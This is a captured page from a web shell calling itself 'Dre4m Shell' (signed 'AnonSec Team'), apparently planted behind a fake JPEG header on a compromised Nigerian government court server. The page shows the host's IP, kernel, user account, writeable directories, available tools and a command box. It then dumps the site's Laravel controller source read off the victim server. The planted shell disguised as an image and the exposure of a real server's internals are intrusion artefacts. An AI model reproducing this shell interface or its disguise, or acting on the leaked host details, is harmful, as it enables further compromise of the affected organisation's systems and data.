ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.189.141.214
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/LgaCoveredController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

use App\Http\Requests;
use Session;
use DB;

class lgaCoveredController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
       // Session::forget('getStateID');

        $stateID = Session::get('getStateID');
        $data['getStates'] = DB::table('tblstates')->get();
        $data['getLGA'] = DB::table('lga')->where('stateid',$stateID)->get();
        $aStateID = DB::table('tblstates')->where('StateID', $stateID)->value('StateID');
        $aState = DB::table('tblstates')->where('StateID', $stateID)->value('State');
        $data['StateID']=$stateID;
        $data['State']=$aState;
        return view('lga.lgacovered', $data);
    }

    public function getLgaState(Request $request)
    {
        Session::forget('getStateID');
        $stateID = trim($request['getState']);
        Session::put('getStateID', $stateID);
        return redirect('lga/covered');
    }

    public function Clear()
    {
        Session::forget('getStateID');
        return redirect('lga/covered');
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $this->validate($request, [
            'state' =>'required',
            'localGovernmentArea' =>'required',
         ]);

         $stateID        = trim($request['state']);
         $lga     = trim($request['localGovernmentArea']);

         $lgaExist = DB::table('lga')
         ->where('lga', $lga)->where('stateId', $stateID)->exists();

         if($lgaExist)
         {
            Session::put('getStateID', $stateID);
            return redirect('lga/covered')
            ->with('error', 'Local Government Area already added');
         }


         $reallyStore = DB::table('lga')->insert(array(
                'stateid' =>$stateID,
                'lga' => $lga,
         ));

         if($reallyStore)
        {
            
            Session::put('getStateID', $stateID);
            return redirect('lga/covered')->with('message', 'Local Government Area successfully added');
    
        }else{
            
            return redirect('lga/covered')->with('error', 'info not added');
        }
    }

    /**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request)
    {
        $lgaName = trim($request['lgaChange']);
        $lgaId = trim($request['lgaid']);
        DB::table('lga')->where('lgaId',$lgaId)->update(['lga' => $lgaName]);
        return redirect('lga/covered')->with('message','LGA successfully updated');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($lgaId)
    {
        $lgaExists=DB::table('tblper')->where('lgaID', $lgaId)->exists();

        if($lgaExists)
        {
            return redirect('lga/covered')
            ->with('alert', 'Cannot delete LGA because a staff is still assigned to it');
        }
        else
        {
            DB::table('lga')->where('lgaId', $lgaId)->delete();
            return redirect('lga/covered')->with('message','LGA successfully deleted');
        }

       
    }
}

Anon7 - 2022
AnonSec Team